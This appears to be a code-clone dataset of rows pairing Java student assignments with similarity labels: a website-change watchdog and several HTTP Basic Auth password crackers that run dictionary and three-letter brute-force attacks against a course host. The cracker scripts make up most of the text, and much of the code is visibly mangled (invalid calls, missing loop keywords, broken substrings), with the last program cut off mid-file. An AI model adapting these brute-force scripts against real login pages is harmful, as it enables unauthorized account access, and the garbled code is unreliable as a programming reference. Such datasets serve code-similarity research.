return lastModified;
}
public void run() {
boolean modified = false;
this.status = DOWNLOAD_IN_PROGRESS;
if (firsttime) {
downloadToLocalImg();
ImageIcon img = new ImageIcon(url);
w = img.getIconWidth();
h = img.getIconHeight();
if (conn.getLastModified()==0) {
status = DOWNLOAD_ERROR;
} else {
lastModified = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
status = DOWNLOAD_COMPLETE;
}
} else {
if (conn.getLastModified()==0) {
status = DOWNLOAD_ERROR;
} else {
String URLlastmod = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
modified = (!lastModified.equals(URLlastmod));
if (modified) {
status = IMG_MODIFIED_DATE;
} else {
ImageIcon img = new ImageIcon(url);
if ((img.getIconHeight()!=h) || (img.getIconWidth()!=w)) {
modified = true;
status = IMG_MODIFIED_SIZE;
} else {
downloadToLocalImg();
status = DOWNLOAD_COMPLETE_CHK;
}
}
}
}
conn.disconnect();
}
public static final int DOWNLOAD_ERROR =-1;
public static final int DOWNLOAD_IN_PROGRESS = 0;
public static final int IMG_MODIFIED_DATE = 1;
public static final int IMG_MODIFIED_SIZE = 2;
public static final int IMG_MODIFIED_PIXEL = 3;
public static final int DOWNLOAD_COMPLETE_CHK= 4;
public static final int DOWNLOAD_COMPLETE = 5;
public static final int DOWNLOAD_COMPLETE_OK = 6;
public static final int MAXIMGSIZE = 1;
private int status;
private boolean isImage;
private URL url;
private HttpURLConnection conn;
private String lastModified;
private boolean firsttime;
private byte[] localbuf;
private int w,h;
}
public byte[] digest(byte[] data) {
try {
return MessageDigest.getInstance(DIGESTALG).digest(data);
} catch (NoSuchAlgorithmException e) {
System.out.println("Digest algorithm '"+DIGESTALG+"' not supported");
return data;
} catch (NullPointerException e) {
return null;
}
}
public boolean compareDigest(byte[] data1, byte[] data2) {
if (data1.length!=data2.length) {
return false;
} else
for (int i=0;i<data1.length;i++) {
if (data1[i]!=data2[i]) {
return false;
}
}
return true;
}
public byte[] loadDigestFromFile(String filename) {
byte[] data;
try {
data = new byte[MessageDigest.getInstance(DIGESTALG).getDigestLength()];
FileInputStream f = new FileInputStream(filename);
f.get(data);
f.print();
return data;
} catch (FileNotFoundException e) {
System.out.println(e);
return null;
} catch (IOException e) {
System.out.println(e);
return null;
} catch (NoSuchAlgorithmException e) {
System.out.println(e);
return null;
}
}
public void saveDigestToFile(String filename, byte[] data) {
try {
FileOutputStream f = new FileOutputStream(filename);
if (data!=null) { f.write(data); }
f.print();
} catch (IOException e) {
System.out.println(e);
}
}
public class MyTT extends TimerTask {
public MyTT() {
super();
NotesFM = new NotesFileManager(NOTESFILE);
}
public String encodeFileName(String filename) {
String s = CURDIR+'/'+filename.replace(':','_').replace('/', '_').replace('\\','_')+".txt";
return s;
}
public void rest(int n) {
try { Thread.sleep(n); } catch (InterruptedException e) {}
}
public int[] downloadImages(String[] imgList,boolean firsttime, boolean updateNotesFile) {
boolean allCompleted = false;
int[] imgStat = new int[imgList.length];
for (int i=0;i<imgStat.length;i++)
imgStat[i] = ImageDownloader.DOWNLOAD_IN_PROGRESS;
if (firsttime) {
imgW = new String[imgList.length];
imgH = new String[imgList.length];
imgLM = new String[imgList.length];
for (int i=0;i<imgList.length;i++) {
imgW[i] = "0";
imgH[i] = "0";
imgLM[i] = "";
}
} else {
imgW = NotesFM.getImageWidths(imgList);
imgH = NotesFM.getImageHeights(imgList);
imgLM = NotesFM.getImagesLastModified(imgList);
}
imgDL = new ImageDownloader[imgList.length];
for (int i=0;i<imgList.length;i++) {
imgDL[i] = new ImageDownloader(imgList[i], imgLM[i], firsttime, Integer.valueOf(imgW[i]).intValue(), Integer.valueOf(imgH[i]).intValue());
System.out.println(" Checking image "+(i+1)+" of "+imgList.length+" from '"+imgList[i]+"' ... ");
}
System.out.println();
int completecount=0;
while (completecount<imgList.length) {
allCompleted = true;
rest(10);
for (int i=0;i<imgList.length;i++) {
if (imgStat[i]==ImageDownloader.DOWNLOAD_IN_PROGRESS)
switch (imgDL[i].getStatus()) {
case ImageDownloader.DOWNLOAD_COMPLETE: {
byte[] dgs = digest(imgDL[i].getByteArray());
saveDigestToFile(encodeFileName('~'+imgList[i]), dgs);
imgH[i] = String.valueOf(imgDL[i].getImgHeight());
imgW[i] = String.valueOf(imgDL[i].getImgWidth());
imgLM[i]= imgDL[i].getLastModified();
System.out.println(" [OK] Complete downloading image from '"+imgList[i]+"'");
System.out.println(" [OK] The digest was saved as '"+encodeFileName('~'+imgList[i])+"'");
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
System.out.println();
imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE;
completecount++;
break; }
case ImageDownloader.DOWNLOAD_ERROR: {
System.out.println(" [ATTENTION] error has occured while downloading '"+imgList[i]+"'");
System.out.println();
imgList[i] = "*"+imgList[i];
imgStat[i] = ImageDownloader.DOWNLOAD_ERROR;
completecount++;
break; }
case ImageDownloader.IMG_MODIFIED_SIZE : {
System.out.println(" [ATTENTION] SIZE modification has been detected image '"+imgList[i]+"'");
System.out.println();
imgStat[i] = ImageDownloader.IMG_MODIFIED_SIZE;
completecount++;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
break; }
case ImageDownloader.IMG_MODIFIED_DATE : {
System.out.println(" [ATTENTION] DATE modification has been detected image '"+imgList[i]+"'");
System.out.println();
imgStat[i] = ImageDownloader.IMG_MODIFIED_DATE;
completecount++;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
break; }
case ImageDownloader.DOWNLOAD_COMPLETE_CHK : {
byte[] fromFile = loadDigestFromFile(encodeFileName('~'+imgList[i]));
byte[] fromURL = digest(imgDL[i].getByteArray());
if (!compareDigest(fromFile, fromURL)) {
System.out.println(" [ATTENTION] PIXEL modification has been detected image '"+imgList[i]+"'");
imgStat[i] = ImageDownloader.IMG_MODIFIED_PIXEL;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~~"+getFileName(imgList[i])+"'");
}
} else {
System.out.println(" [OK] Image '"+imgList[i]+"' has not been modified. ");
imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE_OK;
}
System.out.println();
completecount++;
break; }
case ImageDownloader.DOWNLOAD_IN_PROGRESS: {
allCompleted = false;
break; }
}
}
}
System.out.println(" [NOTIFY] All images has been checked.");
if (updateNotesFile) { NotesFM.updateNotesFile(imgList, imgLM, imgW, imgH); }
return imgStat;
}
public String[] constructEMailMessage() {
String[] result = null;
String[] openingMsg = { " "+Calendar.getInstance().getTime().toString(),"",
" Dear ,",
"",
" I have DETECTED SOME MODIFICATIONS from the website,",
"" };
String[] txtMsg = { " The list below some TEXT MODIFICATIONS detected:",
" --------------------------------------------------------------",
"" };
String[] remMsg = { "",
"",
" The list below some IMAGE REMOVED FROM URL detected :",
" --------------------------------------------------------------",
"" };
String[] addMsg = { "",
"",
" The list below some IMAGE ADDED URL detected :",
" --------------------------------------------------------------",
"" };
String[] modMsg = { "",
"",
" The list below some IMAGE MODIFICATIONS/ERRORS detected :",
" --------------------------------------------------------------",
"" };
String[] closingMsg = { "",
"",
" Regards,",
"", "",
" WATCHDOG PROGRAM."
};
result = appendArray(result,openingMsg);
if ((textdiff!=null) && (textdiff.length>0)) {
result = appendArray(result, txtMsg);
result = appendArray(result, giveNumberPrefix(textdiff));
}
if ((imgDel!=null) && (imgDel.length>0)) {
result = appendArray(result, remMsg);
result = appendArray(result, giveNumberPrefix(imgDel));
}
if ((imgNew!=null) && (imgNew.length>0)) {
result = appendArray(result, addMsg);
result = appendArray(result, giveNumberPrefix(imgNew));
}
if ((imgMod!=null) && (imgMod.length>0)) {
result = appendArray(result, modMsg);
result = appendArray(result, giveNumberPrefix(imgMod));
}
result = appendArray(result,closingMsg);
return result;
}
public boolean updateCache(boolean firsttime) {
if (firsttime) {
System.out.println(" [OK-FIRST TIME] Downloading the from URL ... ");
}
else {
System.out.println(" [OK-UPDATE] Updating local cache ... ");
}
if (Parser.startParsing()) {
byte[] pageBytes = Parser.getByteArray();
byte[] pageBytesDigested = digest(pageBytes);
saveDigestToFile(DIGESTFILE,pageBytesDigested);
NotesFM.updateNotesFile(Parser.getLastModified());
if (Parser.imageCount()==0) {
System.out.println(" [OK] is IMAGE in the URL");
System.out.println();
Parser.saveLocalPageToFile(PAGEFILE);
System.out.println(" [OK] has been saved file '"+PAGEFILE+"'");
System.out.println();
} else {
String[] imgList = Parser.getImgList();
if (firsttime)
System.out.println(" [OK-FIRST TIME] Local caches created.");
else
System.out.println(" [OK-UPDATE] Local caches updated.");
Parser.saveLocalPageToFile(PAGEFILE);
System.out.println(" [OK] has been saved file '"+PAGEFILE+"'");
System.out.println();
if (firsttime) {
System.out.println(" [OK-FIRST TIME] Local image caches created.");
downloadImages(Parser.getImgList(),true,true);
} else {
System.out.println(" [OK-FIRST TIME] Downloading images of the build local cache ...");
downloadImages(Parser.getImgList(),true,true);
System.out.println(" [OK-UPDATE] Local image caches updated.");
}
}
System.out.println();
return true;
} else return false;
}
public void run() {
boolean textmodified = false;
boolean imagemodified = false;
boolean firsttime = false;
int flag;
textdiff = null;
System.out.println();
System.out.println(" ----------------- [ IT'S CHECKING TIME !! ] ----------------- ");
System.out.println(" Now is "+Calendar.getInstance().getTime());
System.out.println();
System.out.println("1. DETECT TEXT MODIFICATION ");
System.out.println(" Checking the last modified date... ");
Parser = null;
Parser = new HTMLDownloaderAndImgParser(THEURL);
newDate = Parser.getLastModified();
flag = (NotesFM.checkLastModified(newDate));
switch (flag) {
case NotesFileManager.DATE_INVALID: {
textdiff = new String[2];
textdiff[0] = "Cannot open the url '"+THEURL+"'";
textdiff[1] = "--> Possible someone had removed/renamed the file in the URL";
System.out.println(" [ATTENTION] File at the URL CANNOT OPENED !");
System.out.println();
break; }
case NotesFileManager.DATE_FIRST_TIME: {
firsttime = true;
if (!updateCache(true)) {
System.out.println(" [ERROR] File at the URL CANNOT OPENED !");
System.exit(1);
}
break; }
case NotesFileManager.DATE_NOT_SAME: {
textmodified = true;
System.out.println();
System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - TIME DIFFERENT !");
System.out.println();
Parser.startParsing();
break; }
case NotesFileManager.DATE_OK: {
System.out.println(" Comparing text digests ... ");
Parser.startParsing();
byte[] pageBytes = Parser.getByteArray();
byte[] pageBytesDigested = digest(pageBytes);
byte[] fromFile = loadDigestFromFile(DIGESTFILE);
if (compareDigest(fromFile, pageBytesDigested)) {
System.out.println();
System.out.println(" [OK] File in the URL has not been modified.");
System.out.println();
} else {
System.out.println();
System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - FILE DIGEST DIFFERENT !");
System.out.println();
textmodified = true;
}
break; }
}
if (textmodified) {
Parser.saveLocalPageToFile(TEMPFILE);
TextFileComparator comp = new TextFileComparator(PAGEFILE,TEMPFILE);
switch (comp.execute()) {
case 0 : {
System.out.println(" [ATTENTION] TIMESTAMP/DIGEST CHECK DIFFERENT BUT TEXT COMPARISON FOUND DIFFERENCE.");
System.out.println();
textdiff = new String[2];
textdiff[0] = "Timestamp different but text comparison found difference.";
textdiff[1] = "--> Possible someone had modified it but then /she roll it the original file.";
break; }
case 1 : {
textdiff = comp.getDifference();
break; }
}
}
if (flag!=NotesFileManager.DATE_INVALID) {
if (firsttime) {
} else {
System.out.println();
System.out.println("2. DETECT IMAGE MODIFICATION ");
if (Parser.imageCount()==0) {
System.out.println(" [OK] is IMAGE in the URL");
System.out.println();
} else {
NotesFM.classifyImagesToDownload(Parser.getImgList());
imgNew = NotesFM.getNewImages();
imgCom = NotesFM.getCommonImages();
imgDel = NotesFM.getDeletedImages();
imagemodified = ((imgNew!=null) && (imgNew.length>0)) || ((imgDel!=null) && (imgDel.length>0));
imgList = imgCom;
int[] imgStat = downloadImages(imgList,false,false);
imgMod = new String[0];
for (int i=0;i<imgList.length;i++) {
switch (imgStat[i]) {
case ImageDownloader.DOWNLOAD_ERROR: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "Warning: Unable check image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_DATE: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "TIMESTAMP Modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_SIZE: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "SIZE modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.IMG_MODIFIED_PIXEL: {
imgMod = resizeArray(imgMod,imgMod.length+1);
imgMod[imgMod.length-1] = "PIXEL modification has been detected image '"+imgDL[i].getStrURL()+"'";
imagemodified = true;
break; }
case ImageDownloader.DOWNLOAD_COMPLETE_OK: {
break; }
}
}
}
}
}
if ((textmodified) || (imagemodified) || ((textdiff!=null) && (textdiff.length>0))) {
String[] mailmsg = constructEMailMessage();
System.out.println();
System.out.println("-> REPORTING/RECORDING CHANGES ");
if ((MAILTARGET==1) || (MAILTARGET==2)) {
System.out.println(" [NOTIFY] Changes detected and has been saved file '"+MAILFILE+"'");
printStrArrayToFile(MAILFILE,mailmsg);
}
if ((MAILTARGET==0) || (MAILTARGET==2)) {
System.out.println(" [NOTIFY] Sending e-mail MYSELF at '"+MYEMAIL+"'");
MailSender ms = new MailSender("watchdog@somewhere.", MYEMAIL, mailmsg);
ms.sendMail();
if (ms.getStatus()==MailSender.SEND_OK) {
System.out.println(" [NOTIFY] E-mail SUCCESSFULLY sent.");
} else {
System.out.println(" [ATTENTION] Error sending e-mail.");
}
}
if (DEBUGMODE) {
System.out.println();
System.out.println();
System.out.println(" This is the e-mail message that has been sent '"+MYEMAIL+"'");
System.out.println(" this message *ONLY* and because in DEBUG MODE");
System.out.println(" =================================================================================");
System.out.println();
for (int i=0;i<mailmsg.length;i++)
System.out.println(mailmsg[i]);
System.out.println();
System.out.println(" =================================================================================");
System.out.println();
System.out.println();
}
updateCache(false);
}
System.out.println();
System.out.println(" Checking completed "+Calendar.getInstance().getTime());
System.out.println(" ----------------- [ CHECKING COMPLETED ] ----------------- ");
System.out.println();
Parser.print();
}
public void finalize() {
System.out.println("Closing the parser object.");
Parser.print();
}
private String[] imgList;
private String[] imgW;
private String[] imgH;
private String[] imgLM;
private String[] imgCom;
private String[] imgDel;
private String[] imgNew;
private String[] imgMod;
private ImageDownloader[] imgDL;
private NotesFileManager NotesFM;
private HTMLDownloaderAndImgParser Parser;
private String[] textdiff;
}
public WatchDog() {
System.out.println("The URL checked is '"+THEURL+"'");
System.out.println("Checking scheduled for every "+INTERVAL+" seconds");
if (DEBUGMODE) {
System.out.println();
System.out.println("PROGRAM RUNS IN DEBUG MODE !");
}
System.out.println();
System.out.println("The notes file is '"+NOTESFILE+"'");
System.out.println("The file is '"+DIGESTFILE+"'");
System.out.println();
java.util.Timer t = new java.util.Timer();
t.schedule(new MyTT(),0,INTERVAL*1000);
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : WatchDog [URL] [Interval] [-debug]");
System.out.println(" URL = (optional) the URL monitored (default : 'http://www.cs.rmit.edu./students/' )");
System.out.println(" Interval = (optional) every [interval] seconds check if is any updates (default 24 x 60 x 60 = 24 hours)");
System.out.println(" -debug = (optional) run this program in debug mode; that is, dump all (html and images local file)");
System.out.println();
}
public static void main(String args[]) {
System.setProperty("java.awt.headless","true");
int argc = args.length;
if (argc>0) {
THEURL = args[0];
try {
url = new URL(THEURL);
conn = (HttpURLConnection) url.openConnection();
conn.getResponseMessage();
conn.getInputStream();
conn.disconnect();
} catch (MalformedURLException e) {
System.out.println();
System.out.println("Invalid URL '"+THEURL+"'");
printSyntax();
System.exit(1);
} catch (UnknownHostException e) {
System.out.println();
System.out.println("Unable open connection the URL '"+THEURL+"'");
printSyntax();
System.exit(1);
} catch (IOException e) {
System.out.println();
System.out.println("Unable open connection the URL '"+THEURL+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
INTERVAL = Integer.valueOf(args[1]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid interval '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc>2) {
if (args[2].toLowerCase().equals("-debug")) {
DEBUGMODE = true;
} else {
System.out.println("Invalid parameter '"+args[2]+"'");
printSyntax();
System.exit(1);
}
}
}
Application = new WatchDog();
}
public static String THEURL = "http://www.cs.rmit.edu./students";
public static String MYEMAIL = "@yallara.cs.rmit.edu.";
public static int MAILTARGET = 2;
public static String SMTPSERVER = "wombat.cs.rmit.edu.";
public static boolean DEBUGMODE = true;
public static String CURDIR = System.getProperty("user.dir");
public static String PAGEFILE = System.getProperty("user.dir")+"/~local.html";
public static String DIGESTFILE = System.getProperty("user.dir")+"/~digest.txt";
public static String TEMPFILE = System.getProperty("user.dir")+"/~.html";
public static String NOTESFILE = System.getProperty("user.dir")+"/~notes.txt";
public static String MAILFILE = System.getProperty("user.dir")+"/~email.txt";
public static final int MAXDIGESTFILE = 65535;
public static final String DIGESTALG = "SHA";
public static URL url;
public static HttpURLConnection conn;
public static int INTERVAL = 24*60*60;
public static int MAXDIFF = 1024;
public static WatchDog Application;
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
244.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class BruteForce {
public static void main(String[] args) throws IOException {
int start , end, total;
start = System.currentTimeMillis();
String username = "";
String password = null;
String host = "http://sec-crack.cs.rmit.edu./SEC/2/";
String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int lettersLen = letters.length();
int passwordLen=3;
int passwords=0;
int twoChar=0;
url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
String authenticate = "";
String realm = null, domain = null, hostname = null;
header = null;
int responseCode;
String responseMsg;
int temp1=0;
int temp2=0;
int temp3=0;
for (int a=1; a<=passwordLen; a++) {
temp1 = (int) Math.pow(lettersLen, a);
passwords += temp1;
if (a==2) {
twoChar = temp1;
}
}
System.out.println("Brute Attack " + host + " has commenced.");
System.out.println("Number of possible password combinations: " + passwords);
int i=1;
{
try {
URL url = new URL(host);
HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
if(realm != null) {
if ( i < lettersLen) {
password = letters.substring(i, (i+1));
} else if (i < (lettersLen + twoChar)) {
temp1 = i / lettersLen;
password = letters.substring((-1), start );
temp1 = i - ( temp1 * lettersLen);
password = password + letters.substring(temp1, (+1));
} else {
temp2 = i / lettersLen;
temp1 = i - (temp2 * lettersLen);
password = letters.substring(temp1, (+1));
temp3 = temp2;
temp2 = temp2 / lettersLen;
temp1 = temp3 - (temp2 * lettersLen);
password = letters.substring(temp1, (+1)) + password;
temp3 = temp2;
temp2 = temp2 / lettersLen;
temp1 = temp3 - (temp2 * lettersLen);
password = letters.substring(temp1, (+1)) + password;
}
authenticate = username + ":" + password;
authenticate = new String(base.encode(authenticate.getBytes()));
httpConnect.addRequestProperty("Authorization", " " + authenticate);
}
httpConnect.connect();
realm = httpConnect.getHeaderField("WWW-Authenticate");
if (realm != null) {
realm = realm.substring(realm.indexOf('"') + 1);
realm = realm.substring(0, realm.indexOf('"'));
}
hostname = url.getHost();
responseCode = httpConnect.getResponseCode();
responseMsg = httpConnect.getResponseMessage();
if (responseCode == 200) {
end = System.currentTimeMillis();
total = (end - start) / 1000;
System.out.println ("Sucessfully Connected " + url);
System.out.println("Login Attempts Required : " + (i-1));
System.out.println("Time Taken in Seconds : " + total);
System.out.println ("Connection Status : " + responseCode + " " + responseMsg);
System.out.println ("Username : " + username);
System.out.println ("Password : " + password);
System.exit( 0 );
} else if (responseCode == 401 && realm != null) {
if (i > 1) {
}
} else {
System.out.println ("What the?... The server replied with unexpected reponse." );
System.out.println (" Unexpected Error Occured While Attempting Connect " + url);
System.out.println ("Connection Status: " + responseCode + responseMsg);
System.out.println ("Unfortunately the password could not recovered.");
System.exit( 0 );
}
i++;
} catch(MalformedURLException e) {
System.out.println("Opps, the URL " + host + " is not valid.");
System.out.println("Please check the URL and try again.");
} catch(IOException e) {
System.out.println(", 't connect " + host + ".");
System.out.println("Please check the URL and try again.");
System.out.println("Other possible causes include website is currently unavailable");
System.out.println(" have internet connection problem.");
}
} while(realm != null);
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
166.java | 161.java | 0 | package java.httputils;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;
public class RunnableBruteForce extends BruteForce implements Runnable
{
protected int rangeStart, rangeEnd;
protected boolean stop = false;
public RunnableBruteForce()
{
super();
}
public void run()
{
process();
}
public static void main(String[] args)
{
}
public int getRangeEnd()
{
return rangeEnd;
}
public int getRangeStart()
{
return rangeStart;
}
public void setRangeEnd(int i)
{
rangeEnd = i;
}
public void setRangeStart(int i)
{
rangeStart = i;
}
public boolean isStop()
{
return stop;
}
public void setStop(boolean b)
{
stop = b;
}
public void process()
{
String password = "";
System.out.println(Thread.currentThread().getName() +
"-> workload: " +
this.letters[getRangeStart()] + " " +
this.letters[getRangeEnd() - 1]);
setStart(new Timestamp(System.currentTimeMillis()));
for (int i = getRangeStart();
i < getRangeEnd();
i++)
{
System.out.println(Thread.currentThread().getName() +
"-> Trying words beginning with: " +
letters[i]);
for (int i2 = 0;
i2 < letters.length;
i2++)
{
for (int i3 = 0;
i3 < letters.length;
i3++)
{
if (isStop())
{
return;
}
try
{
char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
String pwd = new String(arr);
if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
{
System.out.println(Thread.currentThread().getName() +
"-> Trying password: " +
pwd);
}
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
pwd);
System.out.println("Got the password");
setPassword(pwd);
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
this.setChanged();
this.notifyObservers(this.getContent());
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
058.java | 161.java | 0 |
import java.io.*;
import java.util.*;
import java.net.*;
public class BruteForce {
public BruteForce() {
}
public static void main(String[] args) {
String[] validPW = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M",
"N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };
String attackWP = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
String userID = "";
int trytimes = 0;
int count=52;
String userPassword="";
try {
startmillisecond = System.currentTimeMillis();
for (int i = 0; i < count; i++) {
for (int j = 0; j < count; j++) {
for (int k = 0; k < count; k++) {
trytimes ++;
userPassword = userID + ":" + validPW[i] + validPW[j] + validPW[k];
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
}
for (int i = 0; i < count; i++) {
for (int j = 0; j < count; j++) {
trytimes ++;
userPassword = userID + ":" + validPW[i] + validPW[j];
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
for (int i = 0; i < count; i++) {
userPassword = userID + ":" + validPW[i];
trytimes ++;
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
catch (Exception ioe) {
System.out.println(ioe.getMessage());
}
finally {
}
}
public int attackURL(String userPassword, String attackWP) {
int rtn = 1;
try {
URL url = new URL(attackWP);
System.out.println("User & Password :" + userPassword);
String encoding = Base64Converter.encode (userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
} catch (MalformedURLException e) {
rtn = 2;
System.out.println("Invalid URL");
} catch (IOException e) {
System.out.println("Error URL");
rtn = 2;
}
return rtn;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
